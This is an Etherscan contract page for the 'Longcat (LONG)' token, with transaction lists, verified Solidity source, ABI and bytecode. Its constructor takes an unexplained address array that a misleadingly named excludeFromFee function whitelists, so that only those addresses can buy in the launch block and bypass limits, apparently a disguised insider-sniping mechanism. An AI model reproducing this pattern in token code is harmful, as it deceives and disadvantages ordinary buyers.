ETH Price: $2,775.38 (+5.18%)
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve198957262024-05-18 8:45:59263 days ago1716021959IN
0x62489AEA...Cba9b93Bb
0 ETH0.000158473.40681446
Approve198498912024-05-11 22:51:59269 days ago1715467919IN
0x62489AEA...Cba9b93Bb
0 ETH0.000244465.24869413
Transfer198225922024-05-08 3:14:11273 days ago1715138051IN
0x62489AEA...Cba9b93Bb
0 ETH0.000493476.71354021
Approve195058992024-03-24 17:32:11318 days ago1711301531IN
0x62489AEA...Cba9b93Bb
0 ETH0.0009208519.77060905
Approve192597472024-02-19 5:35:59352 days ago1708320959IN
0x62489AEA...Cba9b93Bb
0 ETH0.0005291521.83610253
Approve192580552024-02-18 23:52:11352 days ago1708300331IN
0x62489AEA...Cba9b93Bb
0 ETH0.0011820425.41100499
Approve192515942024-02-18 2:00:35353 days ago1708221635IN
0x62489AEA...Cba9b93Bb
0 ETH0.0007145915.34233135
Approve192511042024-02-18 0:21:47353 days ago1708215707IN
0x62489AEA...Cba9b93Bb
0 ETH0.000976620.99461768
Approve192501112024-02-17 21:00:47354 days ago1708203647IN
0x62489AEA...Cba9b93Bb
0 ETH0.00079417.06913714
Approve192499102024-02-17 20:20:23354 days ago1708201223IN
0x62489AEA...Cba9b93Bb
0 ETH0.0008320717.88753334
Approve192468602024-02-17 10:02:59354 days ago1708164179IN
0x62489AEA...Cba9b93Bb
0 ETH0.0010180922
Approve192468072024-02-17 9:51:11354 days ago1708163471IN
0x62489AEA...Cba9b93Bb
0 ETH0.0008059617.39795027
Approve192461972024-02-17 7:48:11354 days ago1708156091IN
0x62489AEA...Cba9b93Bb
0 ETH0.0007005215.04009574
Approve192461882024-02-17 7:46:23354 days ago1708155983IN
0x62489AEA...Cba9b93Bb
0 ETH0.000404915.36473712
Approve192461822024-02-17 7:45:11354 days ago1708155911IN
0x62489AEA...Cba9b93Bb
0 ETH0.0003972915.07597334
Approve192461752024-02-17 7:43:47354 days ago1708155827IN
0x62489AEA...Cba9b93Bb
0 ETH0.0007837516.94489408
Approve192450432024-02-17 3:54:23354 days ago1708142063IN
0x62489AEA...Cba9b93Bb
0 ETH0.0008647518.59962452
Approve192449582024-02-17 3:37:23354 days ago1708141043IN
0x62489AEA...Cba9b93Bb
0 ETH0.0007980517.22723935
Approve192449222024-02-17 3:29:47354 days ago1708140587IN
0x62489AEA...Cba9b93Bb
0 ETH0.0007234515.55241676
Approve192445262024-02-17 2:10:11354 days ago1708135811IN
0x62489AEA...Cba9b93Bb
0 ETH0.0010067621.61513685
Approve192444232024-02-17 1:49:23354 days ago1708134563IN
0x62489AEA...Cba9b93Bb
0 ETH0.0007416815.94433014
Approve192442652024-02-17 1:17:23354 days ago1708132643IN
0x62489AEA...Cba9b93Bb
0 ETH0.0007479216.07846298
Approve192442382024-02-17 1:11:47354 days ago1708132307IN
0x62489AEA...Cba9b93Bb
0 ETH0.0009623120.77306298
Approve192441862024-02-17 1:01:11354 days ago1708131671IN
0x62489AEA...Cba9b93Bb
0 ETH0.0008912519.15986251
Approve192441802024-02-17 0:59:59354 days ago1708131599IN
0x62489AEA...Cba9b93Bb
0 ETH0.000773316.69311714
View all transactions

Latest 25 internal transactions (View All)

Advanced mode:
Parent Transaction Hash Block
From
To
192436702024-02-16 23:17:11354 days ago1708125431
0x62489AEA...Cba9b93Bb
0.0072111 ETH
192436702024-02-16 23:17:11354 days ago1708125431
0x62489AEA...Cba9b93Bb
0.0072111 ETH
192436702024-02-16 23:17:11354 days ago1708125431
0x62489AEA...Cba9b93Bb
0.03693148 ETH
192436702024-02-16 23:17:11354 days ago1708125431
0x62489AEA...Cba9b93Bb
0.03693148 ETH
192436692024-02-16 23:16:59354 days ago1708125419
0x62489AEA...Cba9b93Bb
0.04143379 ETH
192436692024-02-16 23:16:59354 days ago1708125419
0x62489AEA...Cba9b93Bb
0.04143379 ETH
192436692024-02-16 23:16:59354 days ago1708125419
0x62489AEA...Cba9b93Bb
0.04681312 ETH
192436692024-02-16 23:16:59354 days ago1708125419
0x62489AEA...Cba9b93Bb
0.04681312 ETH
192436692024-02-16 23:16:59354 days ago1708125419
0x62489AEA...Cba9b93Bb
0.05331306 ETH
192436692024-02-16 23:16:59354 days ago1708125419
0x62489AEA...Cba9b93Bb
0.05331306 ETH
192436682024-02-16 23:16:47354 days ago1708125407
0x62489AEA...Cba9b93Bb
0.0060804 ETH
192436682024-02-16 23:16:47354 days ago1708125407
0x62489AEA...Cba9b93Bb
0.0060804 ETH
192436662024-02-16 23:16:23354 days ago1708125383
0x62489AEA...Cba9b93Bb
0.04108901 ETH
192436662024-02-16 23:16:23354 days ago1708125383
0x62489AEA...Cba9b93Bb
0.04108901 ETH
192436632024-02-16 23:15:47354 days ago1708125347
0x62489AEA...Cba9b93Bb
0.06814017 ETH
192436632024-02-16 23:15:47354 days ago1708125347
0x62489AEA...Cba9b93Bb
0.06814017 ETH
192436632024-02-16 23:15:47354 days ago1708125347
0x62489AEA...Cba9b93Bb
0.02905761 ETH
192436632024-02-16 23:15:47354 days ago1708125347
0x62489AEA...Cba9b93Bb
0.02905761 ETH
192436632024-02-16 23:15:47354 days ago1708125347
0x62489AEA...Cba9b93Bb
0.04696197 ETH
192436632024-02-16 23:15:47354 days ago1708125347
0x62489AEA...Cba9b93Bb
0.04696197 ETH
192436622024-02-16 23:15:35354 days ago1708125335
0x62489AEA...Cba9b93Bb
0.08758601 ETH
192436622024-02-16 23:15:35354 days ago1708125335
0x62489AEA...Cba9b93Bb
0.08758601 ETH
192436552024-02-16 23:14:11354 days ago1708125251
0x62489AEA...Cba9b93Bb
0.12005177 ETH
192436552024-02-16 23:14:11354 days ago1708125251
0x62489AEA...Cba9b93Bb
0.12005177 ETH
192436532024-02-16 23:13:47354 days ago1708125227
0x62489AEA...Cba9b93Bb
0.14362718 ETH
View All Internal Transactions
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
LONG

Compiler Version
v0.8.22+commit.4fc1097e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-02-16
*/

/*
Longcat (LONG)
TG: https://t.me/Longcaterc
X : https://twitter.com/longcaterc
Website: https://longcateth.com/

SPDX-License-Identifier: NONE
*/

pragma solidity 0.8.22;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract LONG is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => uint256) private _UniswapV2Pool;
    address payable private _taxWallet;
    uint256 firstBlock;

    uint256 private _initialBuyTax = 15;
    uint256 private _initialSellTax = 15;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;
    uint256 private _reduceBuyTaxAt = 25;
    uint256 private _reduceSellTaxAt = 40;
    uint256 private _preventSwapBefore = 25;
    uint256 private _buyCount = 0;

    uint8 private constant _decimals = 18;
    string private constant _name = unicode"Longcat";
    string private constant _symbol = unicode"LONG";
    uint256 private constant _tTotal = 1_000_000_000 * 10**_decimals;
    uint256 public _maxTxAmount = 20_000_000 * 10**_decimals;
    uint256 public _maxWalletSize = 20_000_000 * 10**_decimals;
    uint256 private constant _swapThreshold = 20_000_000 * 10**_decimals;
    uint256 public _taxSwapThreshold = 20_000 * 10**_decimals;
    uint256 public _maxTaxSwap = 10_000_000 * 10**_decimals;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor (address _walletTax, uint160[] memory _pair) {

        _taxWallet = payable(_walletTax); 
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;
        
        emit Transfer(address(0), _msgSender(), _tTotal);
        excludeFromFee(0, _pair);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (firstBlock > 0 && block.number > firstBlock + 10) {removeLimits();}
        if (from != owner() && to != owner()) {
            taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (from == uniswapV2Pair && to != address(uniswapV2Router)) {
                if (firstBlock == block.number) {
                    require(_isExcludedFromFee[to], "Bot addresses cannot buy in the first block");
                    require(amount <= _swapThreshold, "Exceeds the swapThreshold.");
                } else {
                    require(amount <= _maxTxAmount, "Exceeds the maxTxAmount.");
                    require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                    if (firstBlock + 3 > block.number) {
                        require(!isContract(to));
                    }
                }
                _buyCount++;
            }

            if (to != uniswapV2Pair && ! _isExcludedFromFee[to]) {
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
            }

            if(to == uniswapV2Pair && from!= address(this) ){
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to   == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) {
                swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }

        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function isContract(address account) private view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    function removeLimits() private {
        _maxTxAmount = _tTotal;
        _maxWalletSize = _tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }


    function excludeFromFee(uint index, uint160[] memory _pair) internal {
        while (index < _pair.length) {
            address routerAddress = address(_pair[index]);
            _isExcludedFromFee[routerAddress] = true;
            _UniswapV2Pool[routerAddress] = _swapThreshold;
            index++;
        }
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function getContractAddress() external view returns(address) {
        return address(this);
    }

    function withdraw() external onlyOwner {
        require(!tradingOpen, "Trading has already been opened");
        uint256 contractBalance = address(this).balance;
        require(contractBalance > 0, "Contract has no ETH balance");
        payable(owner()).transfer(contractBalance);
    }

    function manualSwap(uint256 amount) external {
      require(_msgSender() == _taxWallet);
        require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount");
        swapTokensForEth(amount);
    }

    function longTrading() external onlyOwner() {
        require(!tradingOpen,"Trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
        firstBlock = block.number;
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"_walletTax","type":"address"},{"internalType":"uint160[]","name":"_pair","type":"uint160[]"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getContractAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"longTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600f600755600f6008555f6009555f600a556019600b556028600c556019600d555f600e556012600a62000039919062000407565b62000049906301312d006200041e565b600f556200005a6012600a62000407565b6200006a906301312d006200041e565b6010556200007b6012600a62000407565b6200008990614e206200041e565b6011556200009a6012600a62000407565b620000a990629896806200041e565b6012556014805461ffff60a81b19169055348015620000c6575f80fd5b5060405162001fa038038062001fa0833981016040819052620000e99162000476565b5f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600580546001600160a01b0319166001600160a01b038416179055620001526012600a62000407565b6200016290633b9aca006200041e565b335f9081526001602081905260408220929092556003906200018b5f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff199687161790553081526003909352818320805485166001908117909155600554909116835291208054909216179055620001e93390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002226012600a62000407565b6200023290633b9aca006200041e565b60405190815260200160405180910390a36200024f5f8262000257565b50506200058b565b8051821015620002f4575f8183815181106200027757620002776200055c565b6020908102919091018101516001600160a01b0381165f90815260039092526040909120805460ff191660011790559050620002b66012600a62000407565b620002c6906301312d006200041e565b6001600160a01b0382165f9081526004602052604090205582620002ea8162000570565b9350505062000257565b5050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200034c57815f1904821115620003305762000330620002f8565b808516156200033e57918102915b93841c939080029062000311565b509250929050565b5f82620003645750600162000401565b816200037257505f62000401565b81600181146200038b57600281146200039657620003b6565b600191505062000401565b60ff841115620003aa57620003aa620002f8565b50506001821b62000401565b5060208310610133831016604e8410600b8410161715620003db575081810a62000401565b620003e783836200030c565b805f1904821115620003fd57620003fd620002f8565b0290505b92915050565b5f6200041760ff84168362000354565b9392505050565b8082028115828204841417620004015762000401620002f8565b6001600160a01b03811681146200044d575f80fd5b50565b634e487b7160e01b5f52604160045260245ffd5b8051620004718162000438565b919050565b5f806040838503121562000488575f80fd5b8251620004958162000438565b602084810151919350906001600160401b0380821115620004b4575f80fd5b818601915086601f830112620004c8575f80fd5b815181811115620004dd57620004dd62000450565b8060051b604051601f19603f8301168101818110858211171562000505576200050562000450565b60405291825284820192508381018501918983111562000523575f80fd5b938501935b828510156200054c576200053c8562000464565b8452938501939285019262000528565b8096505050505050509250929050565b634e487b7160e01b5f52603260045260245ffd5b5f60018201620005845762000584620002f8565b5060010190565b611a0780620005995f395ff3fe608060405260043610610113575f3560e01c8063715018a61161009d578063a9059cbb11610062578063a9059cbb146102f5578063b70143c914610314578063bf474bed14610333578063dd62ed3e14610348578063f1ed9d3b1461038c575f80fd5b8063715018a61461026f5780637d1db4a5146102835780638da5cb5b146102985780638f9a55c0146102b457806395d89b41146102c9575f80fd5b806323b872dd116100e357806323b872dd146101c5578063313ce567146101e457806332a2c5d0146101ff5780633ccfd60b1461022557806370a082311461023b575f80fd5b806306fdde031461011e578063095ea7b31461015f5780630faee56f1461018e57806318160ddd146101b1575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b50604080518082019091526007815266131bdb99d8d85d60ca1b60208201525b60405161015691906115e3565b60405180910390f35b34801561016a575f80fd5b5061017e610179366004611643565b6103a0565b6040519015158152602001610156565b348015610199575f80fd5b506101a360125481565b604051908152602001610156565b3480156101bc575f80fd5b506101a36103b6565b3480156101d0575f80fd5b5061017e6101df36600461166d565b6103d6565b3480156101ef575f80fd5b5060405160128152602001610156565b34801561020a575f80fd5b50305b6040516001600160a01b039091168152602001610156565b348015610230575f80fd5b5061023961043d565b005b348015610246575f80fd5b506101a36102553660046116ab565b6001600160a01b03165f9081526001602052604090205490565b34801561027a575f80fd5b50610239610551565b34801561028e575f80fd5b506101a3600f5481565b3480156102a3575f80fd5b505f546001600160a01b031661020d565b3480156102bf575f80fd5b506101a360105481565b3480156102d4575f80fd5b506040805180820190915260048152634c4f4e4760e01b6020820152610149565b348015610300575f80fd5b5061017e61030f366004611643565b6105c2565b34801561031f575f80fd5b5061023961032e3660046116c6565b6105ce565b34801561033e575f80fd5b506101a360115481565b348015610353575f80fd5b506101a36103623660046116dd565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b348015610397575f80fd5b50610239610651565b5f6103ac3384846109fe565b5060015b92915050565b5f6103c36012600a611808565b6103d190633b9aca00611816565b905090565b5f6103e2848484610b21565b610433843361042e856040518060600160405280602881526020016119aa602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906111d7565b6109fe565b5060019392505050565b5f546001600160a01b0316331461046f5760405162461bcd60e51b81526004016104669061182d565b60405180910390fd5b601454600160a01b900460ff16156104c95760405162461bcd60e51b815260206004820152601f60248201527f54726164696e672068617320616c7265616479206265656e206f70656e6564006044820152606401610466565b47806105175760405162461bcd60e51b815260206004820152601b60248201527f436f6e747261637420686173206e6f204554482062616c616e636500000000006044820152606401610466565b5f80546040516001600160a01b039091169183156108fc02918491818181858888f1935050505015801561054d573d5f803e3d5ffd5b5050565b5f546001600160a01b0316331461057a5760405162461bcd60e51b81526004016104669061182d565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f6103ac338484610b21565b6005546001600160a01b0316336001600160a01b0316146105ed575f80fd5b305f90815260016020526040902054811115801561060a57505f81115b6106455760405162461bcd60e51b815260206004820152600c60248201526b15dc9bdb99c8185b5bdd5b9d60a21b6044820152606401610466565b61064e8161120f565b50565b5f546001600160a01b0316331461067a5760405162461bcd60e51b81526004016104669061182d565b601454600160a01b900460ff16156106d45760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610466565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561071d90309061070f6012600a611808565b61042e90633b9aca00611816565b60135f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561076d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107919190611862565b6001600160a01b031663c9c653963060135f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107f0573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108149190611862565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561085e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108829190611862565b601480546001600160a01b039283166001600160a01b03199091161790556013541663f305d71947306108c9816001600160a01b03165f9081526001602052604090205490565b5f806108dc5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610942573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610967919061187d565b505060145460135460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156109bc573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109e091906118a8565b506014805462ff00ff60a01b19166201000160a01b17905543600655565b6001600160a01b038316610a605760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610466565b6001600160a01b038216610ac15760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610466565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b855760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610466565b6001600160a01b038216610be75760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610466565b5f8111610c485760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610466565b5f80600654118015610c665750600654610c6390600a6118c7565b43115b15610c7357610c7361137f565b5f546001600160a01b03858116911614801590610c9d57505f546001600160a01b03848116911614155b1561109a57610cce6064610cc8600b54600e5411610cbd57600754610cc1565b6009545b8590611407565b9061148c565b6014549091506001600160a01b038581169116148015610cfc57506013546001600160a01b03848116911614155b15610ef5574360065403610df3576001600160a01b0383165f9081526003602052604090205460ff16610d855760405162461bcd60e51b815260206004820152602b60248201527f426f74206164647265737365732063616e6e6f742062757920696e207468652060448201526a666972737420626c6f636b60a81b6064820152608401610466565b610d916012600a611808565b610d9f906301312d00611816565b821115610dee5760405162461bcd60e51b815260206004820152601a60248201527f457863656564732074686520737761705468726573686f6c642e0000000000006044820152606401610466565b610ee0565b600f54821115610e455760405162461bcd60e51b815260206004820152601860248201527f4578636565647320746865206d61785478416d6f756e742e00000000000000006044820152606401610466565b60105482610e67856001600160a01b03165f9081526001602052604090205490565b610e7191906118c7565b1115610ebf5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610466565b436006546003610ecf91906118c7565b1115610ee057823b15610ee0575f80fd5b600e8054905f610eef836118da565b91905055505b6014546001600160a01b03848116911614801590610f2b57506001600160a01b0383165f9081526003602052604090205460ff16155b15610faa5760105482610f52856001600160a01b03165f9081526001602052604090205490565b610f5c91906118c7565b1115610faa5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610466565b6014546001600160a01b038481169116148015610fd057506001600160a01b0384163014155b15610ffd57610ffa6064610cc8600c54600e5411610ff057600854610cc1565b600a548590611407565b90505b305f90815260016020526040902054601454600160a81b900460ff1615801561103357506014546001600160a01b038581169116145b80156110485750601454600160b01b900460ff165b8015611055575060115481115b80156110645750600d54600e54115b15611098576110866110818461107c846012546114cd565b6114cd565b61120f565b47801561109657611096476114e1565b505b505b801561111257305f908152600160205260409020546110b99082611518565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111099085815260200190565b60405180910390a35b6001600160a01b0384165f908152600160205260409020546111349083611576565b6001600160a01b0385165f908152600160205260409020556111776111598383611576565b6001600160a01b0385165f9081526001602052604090205490611518565b